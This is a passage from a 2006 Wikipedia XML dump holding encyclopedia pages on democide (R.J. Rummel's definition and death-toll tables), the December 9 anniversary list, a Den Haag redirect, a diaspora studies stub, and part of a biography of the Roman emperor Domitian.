* [http://www.futurehi.net/docs/Matrioshka_Brains.html Matrioshka Brains]
* [http://www.aeiveos.com/~bradbury/MatrioshkaBrains/DSSatDLFiG.html Dyson Shell Supercomputers as the Dominant &quot;Life Form&quot; in Galaxies]
* [http://www.alcyone.com/max/writing/essays/outside-dyson-shells.html Outside Dyson shells]
* {{memoryalpha|Dyson Sphere}}
[[Category:Megastructures]]
[[Category:Astronomy]]
[[Category:SETI]]
[[Category:Science fiction themes]]
[[Category:Exploratory engineering]]

[[de:Dyson-Sphäre]]
[[fi:Dysonin kehä]]
[[es:Esfera de Dyson]]
[[fr:Sphère de Dyson]]
[[it:Sfera di Dyson]]
[[ja:ダイソン球]]
[[he:כדור דייסון]]
[[pl:Sfera Dysona]]</text>
    </revision>
  </page>
  <page>
    <title>Democide</title>
    <id>8587</id>
    <revision>
      <id>42105305</id>
      <timestamp>2006-03-03T21:34:53Z</timestamp>
      <contributor>
        <username>Ultramarine</username>
        <id>152649</id>
      </contributor>
      <comment>Reorganzied</comment>
      <text xml:space="preserve">{| class=&quot;wikitable&quot; style=&quot;text-align:center&quot; align=right
|+'''20th century democides causing more than one million deaths.''' From ''Death by Government'', 1987 [http://www.hawaii.edu/powerkills/20TH.HTM]. Several estimates have been revised after this date.
|-
| U.S.S.R || 1917-1987 || 61,911,000 
|- 
| China (PRC) || 1949-1987 || 35,236,000
|-
| Germany || 1933-1945 || 20,946,000
|- 
| China (KMT) || 1928-1949 || 10,075,000
|-
| Japan || 1936-1945 || 5,964,000
|- 
| China (Mao Soviets) || 1923-1949 || 3,465,000
|-
| Cambodia || 1975-1979 || 2,035,000
|- 
| Turkey || 1909-1918 || 1,883,000
|- 
| Vietnam || 1945-1987 || 1,670,000
|- 
| Poland || 1945-1948 || 1,585,000
|- 
| North Korea || 1948-1987 || 1,563,000
|- 
| Pakistan || 1958-1987 || 1,503,000
|- 
| Mexico || 1900-1920 || 1,417,000
|- 
| Yugoslavia (Tito) || 1944-1987 || 1,072,000
|- 
| Russia || 1900-1917 || 1,066,000
|}

''''Democide''' is a term coined by [[political scientist]] [[R.J. Rummel]]. While of relatively recent origin, the word has increased in usage, particularly by legal and social activists for [[human rights]].

==Definition==
Rummel defines it as &quot;The murder of any person or people by a [[government]], including [[genocide]], [[politicide]], and [[mass murder]]&quot;. For example, government-sponsored killings for political reasons would be considered democide. Democide can also include deaths arising from &quot;intentionally or knowingly wreckless and depraved disregard for life&quot;; this brings into account many deaths arising through various neglects and abuses, such as forced [[mass starvation]]. Rummel explicitly excludes battle deaths in his definition. Capital punishment, actions taken against armed civilians during mob action or riot, and the deaths of noncombatants killed during attacks on military targets so long as the primary target is military, are not considered democide. More exact details can be found here: [http://www.freedomsnest.com/rummel_definition.html]

He has further stated: &quot;I use the civil definition of murder, where someone can be guilty of murder if they are responsible in a reckless and wanton way for the loss of life, as in incarcerating people in camps where the may soon die of malnutrition, unattended disease, and forced labor, or deporting them into wastelands where they may die rapidly from exposure and disease.&quot;

Some examples of democide include [[the Great Purges]] carried out by [[Joseph Stalin]] in the [[Soviet Union]], the deaths from the [[colonial]] policy in the [[Congo Free State]], and [[Mao]]'s [[Great Leap Forward]] resulting in a famine which killed millions of people. These were not cases of genocide, because those who were killed were not selected on the basis of their race, but were killed in large numbers as a result of government policies. Famine is classified as democide if it fits the definition above.

{| class=&quot;wikitable&quot; style=&quot;text-align:center&quot; align=left
|+'''Selected pre-20th century democides.''' From ''Death by Government'', 1987 [http://www.hawaii.edu/powerkills/MURDER.HTM].
|-
| In China  || 221 BC-19th Century || 33,519,000 
|-
| By [[Mongols]]  || 14th-15th Century || 29,927,000 
|-
| Slavery of Africans  || 1451-1870 || 17,267,000
|-
| Of American-Indians  || 16th-19th Century || 13,778,000
|-
| [[Thirty Years War]]  || 1618-1648 || 5,750,000
|-
| In India  || 13th-19th Century || &gt;4,511,000
|-
| In Iran || 5th-19th Century || &gt;2,000,000
|-
| In [[Ottoman Empire]] || 12th-19th Century || &gt;2,000,000
|-
| In Japan || 1570-19th Century || &gt;1,500,000
|-
| In Russia || 10th-19th Century || &gt;1,007,000
|-
| By [[Aztecs]] || Centuries || &gt;1,000,000
|-
| Christian [[Crusades]] || 1095-1272 || 1,000,000
|-
| [[Spanish Inquisition]] || 16th-18th Century || 350,000
|-
| [[French Revolution]] || 1793-1794 || 263,000
|-
| [[Albigensian Crusade]] || 1208-1249 || 200,000
|-
| [[Witch Hunt]] || 15th-17th Century || 100,000
|-
|}

As an example, Rummel until recently did not classify the Great Leap Forward as  democide. He believed that Mao's policies were largely responsible for the  famine, but he was misled about it, and finally when he found out, he stopped  it and changed his policies. Thus not an intentional famine and thus not a  democide. New information from ''[[Mao: the Unknown Story]]'' states that Mao  knew about the famine from the beginning and didn't care. Eventually he had to  be stopped by a meeting of 7,000 top Communist Party members. Thus the famine  was intentional and a  democide.[http://freedomspeace.blogspot.com/2005/11/getting-my-reestimate-of-maos-democide.html]

According to Rummel, [[genocide]] has 3 different meanings. The ordinary meaning is murder by government of people due to their national, ethnical, racial, or religious group membership. The legal meaning of genocide refers to the international treaty, the [[Convention on the Prevention and Punishment of the Crime of Genocide]]. This also includes nonkillings that in the end eliminate the group, such as preventing births or forcibly transferring children out of the group to another group. A generalized meaning of genocide is similar to the ordinary meaning but also includes government killings of political opponents or otherwise intentional murder. It is to avoid confusion regarding what meaning is intended that Rummel created the term democide for the third meaning.[http://www.hawaii.edu/powerkills/GENOCIDE.HTM]

== Research on democide ==
Accusations of mass killings by a government are relatively common. Less common are well-documented cases with enough evidence to support the accusation.  Almost all accusations are disputed to some degree, although the evidence in some cases is stronger than in others.

Rummel's sources  include scholarly works, refugee reports, memoirs, biographies, historical  analyses, actual exhumed body counts, records kept by the murderers themselves,  and so on. In short his data are all estimates available in English for  all nations over a period of a century, and available in the libraries he  worked in, including the [[Library of Congress]]. 

{| class=&quot;wikitable&quot; style=&quot;text-align:center&quot; align=right
|+'''Ten bloodiest dictators for the millennium.'''[http://www.hawaii.edu/powerkills/QA.V2.HTML#statistics]
|-
| [[Joseph Stalin]] || 1929-1953 || 43,000,000 
|- 
| [[Mao Tse-tung]] || 1923-1976 || 38,000,000
|-
| [[Adolph Hitler]] || 1933-1945 || 21,000,000
|- 
| [[Khubilai Khan]] || 1252-1279 || 19,000,000
|- 
| [[Qing Dynasty]], &lt;br&gt; mainly [[Empress Dowager Cixi]] || 1859-64, &lt;br&gt; [[Tai Ping Rebellion]] || 12,000,000
|-
| [[Chiang Kai-shek]]|| 1921-1948 || 10,000,000
|-
| [[Genghis Khan]] || 1215-1233 || 4,000,000
|-
| [[Vladimir Lenin]] || 1917-1924 || 4,000,000
|-
| [[Tojo Hideki]] || 1941-1945 || 4,000,000
|-
| [[Pol Pot]] || 1968-1987 || 2,000,000
|-
|}

He provides a most probably death toll and and a low and a high that are meant  to be the most unlikely low and high, and thus to bracket the probable true  count. It is to determine these lows and highs that he includes what some others might consider absurd estimates. His published books do not include new  research and new sources available after the publication date.

Rummel's counts 43 million deaths due to democide during Stalin's regime inside  and outside the Soviet Union. This is much higher than an often quoted figure  of 20 million. Rummel has responded that this is based on a figure from  [[Robert Conquest]]'s book ''[[The Great Terror]]'' from [[1968]] and that  Conquest's qualifier &quot;almost certainly too low&quot; is usually forgotten.  Conquest's calculations excluded camp deaths after 1950, and before 1936;  executions 1939-53; the vast deportation of the people of captive nations into  the camps, and their deaths 1939-1953; the massive deportation within the  Soviet Union of minorities 1941-1944; and their deaths; and those the Soviet  Red Army and secret police executed throughout Eastern Europe after their  conquest during 1944-1945. Moreover, the [[Holodomor]] that killed 5 million in  1932-1934 is not  included.[http://freedomspeace.blogspot.com/2005/04/how-many-did-stalin-really-murder.html]

His research shows that the death toll from democide is far greater than the death toll from war. After studying over 8,000 reports of government caused deaths, Rummel estimates that there have been 262 million victims of democide in the last century. According to his figures, six times as many people have died from the inflictions of people working for governments than have died in battle.

One of his main findings is that liberal democracies have much less democide than authoritarian regimes.[http://www.hawaii.edu/powerkills/MIRACLE.HTM] He argues that there is a relation between political power and  democide. Political mass murder grows increasingly common as political power  becomes unconstrained. At the other end of the scale, where power is diffuse,  checked, and balanced, political violence is a rarity. According to Rummel,  &quot;The more power a regime has, the more likely people will be killed. This is a  major reason for promoting freedom.&quot; Rummel concludes: &quot;Concentrated political  power is the most dangerous thing on earth.&quot;

For books, articles, data, and analyses regarding democide, see Rummel's website.[http://www.hawaii.edu/powerkills/] In particular, he has an extensive [[FAQ]].[http://www.hawaii.edu/powerkills/QA.V2.HTML] Researchers often give widely different estimates of mass murder. They use different definitions, methodology, and sources. For example, some include battle deaths in their calculations. Matthew White's website has compiled some of these different estimates.[http://users.erols.com/mwhite28/warstats.htm]

== Update on democides ==
In November 2005, RJ Rummel estimated the democide in [[Mao Zedong|Mao]]'s [[People's Republic of China|China]] (1949-1975) to 73,000,000. 
[http://freedomspeace.blogspot.com/2005/11/reevaluating-chinas-democide-to-be.html Reevaluating China's Democide to be 73,000,000 ]

In May 2005 he guessed the number for [[Darfur Conflict]] to be [http://freedomspeace.blogspot.com/2005/05/democide-galore_08.html Democide Galore] &gt;400,000

== See also ==
*[[Genocide]]
*[[Democratic peace theory]]
*[[Linguicide]]
*[[Genocides in history]]

== External links ==
* The [http://www.hawaii.edu/powerkills/DBG.CHAP2.HTM Definition of Democide] by R.J. Rummel, from his book ''Death by Government''.
* Rummel's website [http://www.hawaii.edu/powerkills Power Kills]
* [http://www.neveragaininternational.org/ Never Again] International youth genocide prevention orgnanization; organized the 2004 Rwanda Forum at the Imperial War Museum in London.
* [http://www.neveragaininternational.org/wiki Never Again Wiki]

[[Category:Violence]]
[[Category:Human rights abuses]]
[[Category:Death]]
[[Category:Democides| ]]

[[de:Demozid]]
[[sl:Democid]]</text>
    </revision>
  </page>
  <page>
    <title>December 9</title>
    <id>8589</id>
    <revision>
      <id>42129221</id>
      <timestamp>2006-03-04T00:35:19Z</timestamp>
      <contributor>
        <ip>64.53.209.169</ip>
      </contributor>
      <comment>/* Births */</comment>
      <text xml:space="preserve">'''December 9''' is the 343rd day (344th in leap years) of the year in the [[Gregorian calendar]]. There are 22 days remaining.

{{DecemberCalendar}}

==Events==
*[[1425]] - The Catholic University of [[Leuven]] is founded
*[[1531]] - First apparition of the [[Virgin Mary]] ([[Our Lady of Guadalupe]]) to [[Juan Diego Cuauhtlatoatzin]]  on Tepeyac Hill 
*[[1793]] - [[New York, New York|New York City]]'s first daily [[newspaper]], the ''American Minerva'', is established by [[Noah Webster]].
*[[1824]] - [[Battle of Ayacucho]]: [[Peruvian]] nationalists led by [[Antonio José de Sucre]] defeat [[Viceroyalty of Peru|Spanish]] colonial forces and secure the independence of Peru.
*[[1835]] - The [[Republic of Texas]] captures [[San Antonio, Texas|San Antonio]].
*[[1851]] - The first [[YMCA]] in [[North America]] is established in [[Montreal, Quebec]].
*[[1856]] - The [[Iran]]ian city of [[Bushehr]] surrenders to occupying [[United Kingdom of Great Britain and Ireland|British]] forces.
*[[1861]] - [[American Civil War]]: The [[Joint Committee on the Conduct of the War]] is established by the [[Congress of the United States|U.S. Congress]].
*[[1872]] - In [[Louisiana]], [[P. B. S. Pinchback]] becomes the first serving [[African-American]] governor of a U.S. state.
*[[1888]] - Statistician [[Herman Hollerith]] installs his self-designed computing device at the [[United States War Department]].
*[[1897]] - Activist [[Marguerite Durand]] founds the [[feminist]] daily [[newspaper]], ''[[La Fronde]]'' in [[Paris]]. 
*[[1905]] - In [[France]], the law [[1905 law on secularity|separating church and state]] is passed.
*[[1931]] - The [[Constituent Cortes]] approves the constitution which establishes the [[Second Spanish Republic]].
*[[1937]] - [[Second Sino-Japanese War]]: [[Battle of Nanjing]] - [[Imperial Japan|Japanese]] troops under the command of Lt. Gen. [[Asaka Yasuhiko]] launch an assault on the [[Republic of China|Chinese]] city of [[Nanjing]].
*[[1940]] - [[World War II]]: [[Operation Compass]] - [[United Kingdom|British]] and [[India]]n troops under the command of Major-General [[Richard O'Connor]] attack [[Military history of Italy during World War II|Italian]] forces near [[Sidi Barrani]] in [[Egypt]].
*[[1941]] - World War II: The [[Republic of China]], [[Provisional Government of the Republic of Korea]] and [[Cuba]] declare war on [[Germany]] and [[Japan]].
*[[1945]] - [[General]] [[George S. Patton]] is injured in an automobile crash in occupied [[Germany]].  He dies twelve days later.  
*[[1946]] - The &quot;[[Subsequent Nuremberg Trials|Trials of War Criminals before the Nuremberg Military Tribunals]]&quot; began with the &quot;[[Doctors' Trial]]&quot;, prosecuting [[physician|doctor]]s alleged to be involved in [[Nazi human experimentation|human experimentation]].
*[[1950]] - [[Harry Gold]] is sentenced to thirty years in jail for helping [[Klaus Fuchs]] pass information about the [[Manhattan Project]] to the [[Soviet Union]]. His testimony is later instrumental in the prosecution of [[Julius and Ethel Rosenberg]].
*[[1953]] - [[Red Scare]]: [[General Electric]] announces that all [[communist]] employees will be discharged from the company
*[[1958]] - Red Scare: The [[John Birch Society]] founded in the [[United States]].
*[[1960]] - The first episode of [[ITV]] soap-opera ''[[Coronation Street]]'' is aired.
*[[1961]] - The trial of [[Nazi]] [[Adolf Eichmann]] in [[Israel]] ends with him being found guilty of 15 criminal charges, including charges of crimes against humanity, crimes against the Jewish people and membership of an outlawed organization.
*  1961   - [[Tanganyika]] becomes independent from Britain.
*[[1982]] - Activist [[Norman Mayer]] threatens to blow up the [[Washington Monument]], before being killed by [[United States Park Police]]. 
*[[1987]] - [[Israeli-Palestinian conflict]]: The [[First Intifada]] begins in the [[Gaza Strip]] and [[West Bank]]
*[[1990]] - [[Lech Wa&amp;#322;&amp;#281;sa]] becomes the first directly elected president of [[Poland]].
*[[1992]] - The separation of [[Charles, Prince of Wales]] and [[Diana, Princess of Wales]] is announced
*[[2001]] - [[Chris Jericho]] unifies the [[WWE Championship]] and [[WCW World Heavyweight Championship]] for the first time ever at [[WWE Vengeance]].
*[[2005]]   - The last regular [[Routemaster]] bus service in [[London]], route 159, ends.

==Births==
*[[1447]] - [[Chenghua]], Emperor of China (d. [[1487]])
*[[1508]] - [[Gemma Frisius]], Dutch mathematician and cartographer (d. [[1555]])
*[[1561]] - Sir [[Edwin Sandys (American colonist)|Edwin Sandys]], British-born Virginian colonist (d. [[1629]])
*[[1571]] - [[Metius]] (Adriaan Adriaanszoon), Dutch mathematician and astronomer (d. [[1635]])
*[[1579]] - [[Martin de Porres]], Peruvian saint (d. [[1639]])
*[[1594]] - King [[Gustavus Adolphus of Sweden]] (d. [[1632]])
*[[1608]] - [[John Milton]], English poet (d. [[1674]])
*[[1610]] - [[Baldassare Ferri]], Italian castrato (d. [[1680]])
*[[1667]] - [[William Whiston]], English mathematician (d. [[1752]])
*[[1748]] - [[Claude Louis Berthollet]], French chemist (d. [[1822]])
*[[1842]] - [[Peter Kropotkin]], Russian anarchist (d. [[1921]])
*[[1850]] - [[Emma Abbott]], American soprano (d. [[1891]])
*[[1868]] - [[Fritz Haber]], German chemist and [[Nobel Prize in Chemistry|Nobel Prize]] laureate (d. [[1934]])
*[[1871]] - [[Joe Kelley]], American baseball player (d. [[1943]])
*[[1876]] - [[Berton Churchill]], American actor (d. [[1940]])
*[[1882]] - [[Joaquín Turina]], Spanish composer (d. [[1949]])
*[[1886]] - [[Clarence Birdseye]], American frozen food manufacturer (d. [[1956]])
*[[1889]] - [[Hannes Kolehmainen]], Finnish long-distance runner and Olympic gold medalist (d. [[1966]])
*[[1897]] - [[Hermione Gingold]], British actress (d. [[1987]])
*[[1898]] - [[Emmett Kelly]], American circus clown (d. [[1979]])
*[[1899]] - [[Jean de Brunhoff]], French author (d. [[1937]])
*[[1901]] - [[Odon von Horvath|Ödön von Horváth]], Hungarian-born writer (d. [[1938]])
*  1901   - [[Jean Mermoz]], French pilot (d. [[1936]])
*[[1902]] - [[Margaret Hamilton]], American actress (d. [[1985]])
*[[1905]] - [[Dalton Trumbo]], American writer (d. [[1976]])
*[[1906]] - [[Grace Murray Hopper]], American computer pioneer (d. [[1992]])
*[[1909]] - [[Douglas Fairbanks, Jr.]], American actor (d. [[2000]])
*[[1911]] - [[Broderick Crawford]], American actor (d. [[1986]])
*[[1912]] - [[Tip O'Neill]], [[Speaker of the United States House of Representatives]] (d. [[1994]])
*[[1915]] - [[Elisabeth Schwarzkopf]], German soprano
*[[1916]] - [[Kirk Douglas]], American actor and film producer
*[[1917]] - [[James Rainwater]], American physicist and [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1986]])
*[[1919]] - [[William Lipscomb]], American chemist and [[Nobel Prize in Chemistry|Nobel Prize]] laureate
*[[1920]] - [[Carlo Azeglio Ciampi]], [[List of Presidents of the Italian Republic|President of the Italian Republic]]
*[[1922]] - [[Redd Foxx]], American comedian and actor (d. [[1991]])
*[[1926]] - [[Henry Way Kendall]], American physicist and [[Nobel Prize]] laureate (d. [[1999]])
*  1926   - [[Jan Kresadlo|Jan K&amp;#345;esadlo]], Czech writer (d. [[1995]])
*[[1927]] - [[Pierre Henry]], French composer
*[[1928]] - [[Dick Van Patten]], American actor
*[[1929]] - [[John Cassavetes]], American actor and film director (d. [[1989]])
*  1929   - [[Bob Hawke]], twenty-third [[Prime Minister of Australia]]
*[[1930]] - [[Buck Henry]], American actor, comedian, writer, director, and producer
*[[1931]] - [[Ladislav Smoljak]], Czech actor, director and humourist
*[[1933]] - [[Morton Downey Jr.]], American talk show host (d. [[2001]])
*[[1934]] - Dame [[Judi Dench]] British actress
*  1934   - [[Junior Wells]], American blues harmonica player (d. [[1998]])
*[[1937]] - [[Darwin Joston]], American actor (d. [[1998]])
*[[1938]] - [[Deacon Jones]], American football player
*[[1941]] - [[Beau Bridges]], American actor
*  1941   - [[Dan Hicks (singer)|Dan Hicks]], American musician
*[[1942]] - [[Dick Butkus]], American football player
*[[1946]] - [[Sonia Gandhi]], Italian-born Indian politician, chair of the United Progressive Alliance
*  1946   - [[Walter Orange]], American drummer ([[The Commodores]])
*[[1947]] - [[Tom Daschle]], American politician
*  1947   - [[Jaak Jõerüüt]], Soviet-born Estonian politician
*[[1950]] - [[Joan Armatrading]], West Indian-born British singer
*[[1952]] - [[Michael Dorn]], American actor
*  1952   - [[Liaqat Baloch]], Pakistani Politician
*[[1953]] - [[John Malkovich]], American actor
*[[1957]] - [[Donny Osmond]], American singer and actor
*[[1958]] - [[Nick Seymour]], Australian bassist ([[Crowded House]])
*[[1960]] - [[Juan Samuel]], Major League Baseball Player
*[[1961]] - [[David Anthony Higgins]], American actor
*[[1962]] - [[Felicity Huffman]], American actress
*[[1964]] - [[Paul Landers]], German guitarist ([[Rammstein]])
*[[1967]] - [[Joshua Bell]], American violinist
*[[1968]] - [[Kurt Angle]], American amateur and professional wrestler
*  1968   - [[Dave Harold]], British snooker player
*  1968   - [[Brian Bell]], American guitarist ([[Weezer]])
*[[1969]] - [[Jakob Dylan]], American singer and songwriter ([[The Wallflowers]])
*  1969   - [[Bixente Lizarazu]], [[France national football team|French]] international footballer and World Cup winner
*[[1972]] - [[Tre Cool]] (Frank Edwin Wright III), German-born American drummer ([[Green Day]])
*1972 - [[Reiko Aylesworth]], American actress
*1972 - [[Fabrice Santoro]], Tahitian-born French tennis player
*[[1976]] - [[Imogen Heap]], British singer and songwriter
*[[1978]] - [[Jesse Metcalfe]], American actor ([[Desperate Housewives]])
*[[1981]] - [[Diya Mirza]], Indian actress

==Deaths==
*[[1165]] - King [[Malcolm IV of Scotland]]
*[[1292]] - [[Saadi|Sheikh Saadi]], great [[Persians|Persian]] [[sufi]] poet
*[[1437]] - [[Sigismund, Holy Roman Emperor]] (b. [[1368]])
*[[1544]] - [[Teofilo Folengo]], Italian poet (b. [[1491]])
*[[1565]] - [[Pope Pius IV]] (b. [[1499]])
*[[1603]] - [[William Watson (priest)|William Watson]], English conspirator (b. [[1559]])
*[[1625]] - [[Ubbo Emmius]], Dutch historian and geographer (b. [[1547]])
*[[1636]] - [[Fabian Birkowski]], Polish writer (b. [[1566]])
*[[1641]] - [[Anthony van Dyck]], Flemish painter (b. [[1599]])
*[[1669]] - [[Pope Clement IX]] (b. [[1600]])
*[[1674]] - [[Edward Hyde, 1st Earl of Clarendon]], English statesman and historian (b. [[1609]])
*[[1692]] - [[William Mountfort]], English actor and dramatist
*[[1706]] - King [[Peter II of Portugal]] (b. [[1648]])
*[[1718]] - [[Vincenzo Coronelli]], Italian cartographer and encylopaedist (b. [[1650]])
*[[1793]] - [[Gabrielle de Polastron, comtesse de Polignac]], French aristocrat (b. [[1749]])
*[[1798]] - [[Johann Reinhold Forster]], German botanist 
*[[1887]] - [[Mahmadu Lamine]], Senegalese marabout and miltary leader
*[[1894]] - [[Pafnuty Chebyshev]], Russian mathematician
*[[1930]] - [[Rube Foster|Andrew &quot;Rube&quot; Foster]], American baseball player and founder of the Negro National League
*[[1937]] - [[Nils Gustaf Dalén]], Swedish physicist and [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1869]])
*[[1964]] - Dame [[Edith Sitwell]], British poet and critic (b. [[1887]])
*[[1965]] - [[Branch Rickey]], American baseball commissioner (b. [[1884]])
*[[1970]] - [[Sir Feroz Khan Noon]], Prime Minister [[Pakistan]]
*[[1971]] - [[Ralph Bunche]], American diplomat and [[Nobel Peace Prize|Nobel Prize]] laureate (b. [[1904]])
*[[1972]] - [[Louella Parsons]], American gossip columnist (b. [[1881]])
*[[1984]] - [[Razzle|Nicholas &quot;Razzle&quot; Dingley]], British drummer ([[Hanoi Rocks]]) (b. [[1960]])
*[[1993]] - [[Danny Blanchflower]], Northern Irish footballer and football manager (b. [[1926]])
*[[1995]] - [[Toni Cade Bambara]], American author (b. [[1939]])
*[[1996]] - [[Mary Leakey]], British archeologist and anthropologist (b. [[1913]])
*[[1998]] - [[Shaughnessy Cohen]], Canadian politician (b. [[1948]])
*  1998   - [[Archie Moore]], American boxer and World [[Light-Heavyweight]] Champion (b. [[1913]])
*[[1999]] - [[Franjo Tudjman]], first President of Croatia (b. [[1922]])
*[[2002]] - [[Stan Rice]], American painter, educator, and poet (b. [[1942]])
*[[2003]] - [[Paul Simon (politician)|Paul Simon]], U.S. Senator from Illinois (b. [[1928]])
*[[2004]] - [[David Brudnoy]], American radio personality (b. [[1940]])
*  2004   - [[Lea De Mae]], Czech actress (b. [[1976]])
*[[2005]] - [[György Sándor]], Hungarian pianist (b. [[1912]])
*2005 - [[Robert Sheckley]] an American author (b. [[1928]])

==Holidays and observances==
* [[Calendar of saints]]:
** Saint [[Juan Diego Cuauhtlatoatzin]] : optional memorial
** [[Peter Fourier]], founder of the Congregation of Notre Dame
* Also see [[December 9 (Eastern Orthodox liturgics)]]; specifically the conception of [[Saint Anne]]
* [[Scandinavia]] (specifically [[Sweden]]): Anna's Day. Recognizes everyone named Anna, and marks the day to start the preparation process of the [[lutefisk]] to be consumed on [[Christmas Eve]].
* [[Tanzania]] - [[Independence Day]] (of Tanganyika from Britain, [[1961]])
* [[Anti-Corruption Day]] [http://www.un.org/depts/dhl/events/anti_corruption/]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/9 BBC: On This Day]

----
[[December 8]] - [[December 10]] - [[November 9]] - [[January 9]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:9 Desember]]
[[ar:9 ديسمبر]]
[[an:9 d'abiento]]
[[ast:9 d'avientu]]
[[bg:9 декември]]
[[be:9 сьнежня]]
[[bs:9. decembar]]
[[ca:9 de desembre]]
[[ceb:Disyembre 9]]
[[cv:Раштав, 9]]
[[co:9 di decembre]]
[[cs:9. prosinec]]
[[cy:9 Rhagfyr]]
[[da:9. december]]
[[de:9. Dezember]]
[[et:9. detsember]]
[[el:9 Δεκεμβρίου]]
[[es:9 de diciembre]]
[[eo:9-a de decembro]]
[[eu:Abenduaren 9]]
[[fo:9. desember]]
[[fr:9 décembre]]
[[fy:9 desimber]]
[[gl:9 de decembro]]
[[ko:12월 9일]]
[[hr:9. prosinca]]
[[io:9 di decembro]]
[[id:9 Desember]]
[[ia:9 de decembre]]
[[is:9. desember]]
[[it:9 dicembre]]
[[he:9 בדצמבר]]
[[jv:9 Desember]]
[[ka:9 დეკემბერი]]
[[csb:9 gòdnika]]
[[ku:9'ê berfanbarê]]
[[la:9 Decembris]]
[[lt:Gruodžio 9]]
[[lb:9. Dezember]]
[[hu:December 9]]
[[mk:9 декември]]
[[ms:9 Disember]]
[[nap:9 'e dicembre]]
[[nl:9 december]]
[[ja:12月9日]]
[[no:9. desember]]
[[nn:9. desember]]
[[oc:9 de decembre]]
[[pl:9 grudnia]]
[[pt:9 de Dezembro]]
[[ro:9 decembrie]]
[[ru:9 декабря]]
[[se:Juovlamánu 9.]]
[[sco:9 December]]
[[sq:9 Dhjetor]]
[[scn:9 di dicèmmiru]]
[[simple:December 9]]
[[sk:9. december]]
[[sl:9. december]]
[[sr:9. децембар]]
[[fi:9. joulukuuta]]
[[sv:9 december]]
[[tl:Disyembre 9]]
[[tt:9. Dekäber]]
[[te:డిసెంబర్ 9]]
[[th:9 ธันวาคม]]
[[vi:9 tháng 12]]
[[tr:9 Aralık]]
[[uk:9 грудня]]
[[wa:9 di decimbe]]
[[war:Disyembre 9]]
[[zh:12月9日]]
[[pam:Disiembri 9]]</text>
    </revision>
  </page>
  <page>
    <title>Den Haag</title>
    <id>8590</id>
    <revision>
      <id>15906569</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[The Hague]]
</text>
    </revision>
  </page>
  <page>
    <title>Diaspora studies</title>
    <id>8591</id>
    <revision>
      <id>15906570</id>
      <timestamp>2005-01-20T18:07:26Z</timestamp>
      <contributor>
        <username>Msh210</username>
        <id>118007</id>
      </contributor>
      <minor />
      <comment>Stub-sorting. [[Wikipedia:WikiProject Stub sorting|You can help!]]</comment>
      <text xml:space="preserve">'''Diaspora studies''' is an academic field established in the late twentieth century to study dispersed [[ethnicity|ethnic]] populations, which are often termed [[diaspora peoples]]. The usage of the term [[diaspora]] carries the [[connotation]] of forced resettlement, due to expulsion, slavery, [[racism]], or war, especially [[nationalism|nationalist]] conflict.

See [[diaspora]] for a further discussion of diasporas.

{{ethno-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Domitian</title>
    <id>8592</id>
    <revision>
      <id>41838697</id>
      <timestamp>2006-03-02T01:56:06Z</timestamp>
      <contributor>
        <username>Pavel Vozenilek</username>
        <id>87110</id>
      </contributor>
      <minor />
      <comment>rv: grammar, shared IP with history of vandalism</comment>
      <text xml:space="preserve">[[Image:Domitien.jpg|right|200px|thumb|Domitian bust in the Louvre]]

'''Titus Flavius Domitianus''' ([[24 October]] [[51]] &amp;ndash; [[18 September]] [[96]]), commonly known as '''Domitian''', was a [[Roman Emperors|Roman emperor]] of the ''[[gens]] [[Flavius|Flavia]]''.

Domitianus was the son of [[Vespasian]], by his wife Domitilla, and brother of [[Titus]], whom he succeeded in [[81]].

==Early life==

Domitian was born in Rome while his father was still a politician and military  commander. He received the education of a young man of the privileged [[Roman senate|senatorial]] class. He studied rhetoric and literature, publishing some of his writings, law and administration. In his biography [[Suetonius]] describes him as a learned and educated adolescent, with elegant conversation. Unlike his brother, Titus, who was much older, Domitian did not join his father's campaigns in the [[Roman provinces|African provinces]] and Judea. 

During the [[Year of the four emperors]] ([[69]]), Domitian assumed a cautious, discreet position, but moved immediately to the imperial palace once his father was proclaimed emperor. He was the representative of the Flavius family in the senate prior to Vespasian and Titus' arrival in Rome. With the rise to power of his father, Domitian grew bolder. 

In [[70]] he managed to force the divorce of [[Domitia Longina]] in order to marry her. Lucius Aelius Lamia, her husband, could not prevent the prince's will, and so Domitia became daughter in law of the emperor. Despite its initial recklessness, the alliance was very prestigious for both sides. Domitia Longina was the only daughter of general [[Gnaeus Domitius Corbulo]], one of the victims of [[Nero]]'s terror, remembered as a worthy commander and a honoured politician. They had a son in 71 and a daughter in 74, but both died young. The marriage was far from being traditional: Domitian was a notorious womaniser and his wife was not jealous. Some sources refer that she would join Domitian in his escapades with his mistresses.

As a second son, Domitian was spared from responsibilities. He held several honorary [[consul]]ships and several priesthoods but no office with ''[[imperium]]''. During the reign of his brother Titus, his situation remained essentially the same, since nobody saw him as future emperor. But Domitian certainly had his ambitions. When Titus was dying, he managed to be hailed as his successor by securing the [[Praetorian Guard]]'s support.

==Emperor==

[[Image:024 Domitian.jpg|right|150px|thumb|Denarius of Domitian]]

As an administrator, Domitian soon proved to be a disaster. The economy first came to a halt and then went into recession, forcing him to heavily devaluate the [[denarius]] (silver currency). To further compensate for the economic situation, taxes were raised and discontent soon followed. Due to his love of the arts and to woo the population, Domitian invested large sums in the reconstruction and embellishment of the city, still suffering the effects of the [[great fire of Rome]] in 64 and the civil war of 69. Around fifty new buildings were erected and restored, including the Temple of [[Jupiter (god)|Jupiter]] in the [[Capitoline Hill]] and a palace in the [[Palatine Hill]].

In [[85]], Domitian nominated himself perpetual [[censor]], the office which held the task of supervising Roman morals and conduct, a task he could hardly apply to himself. By [[83]], his own marriage was in rupture with continuous infidelities and scandals on both sides. In this year, Domitia Longina was caught with her lover, the actor Paris. The man was executed and the empress was exiled after a hasty divorce. In the next year he developed a passion for his niece [[Julia Flavia]] (daughter of Titus) and, like in his first marriage, he kidnapped the girl by dismissing her husband. Julia Flavia died in [[91]] during an [[abortion]], being deified afterwards. After this, Domitia Longina was recalled to the palace as Roman empress, despite the fact that Domitian never remarried her.

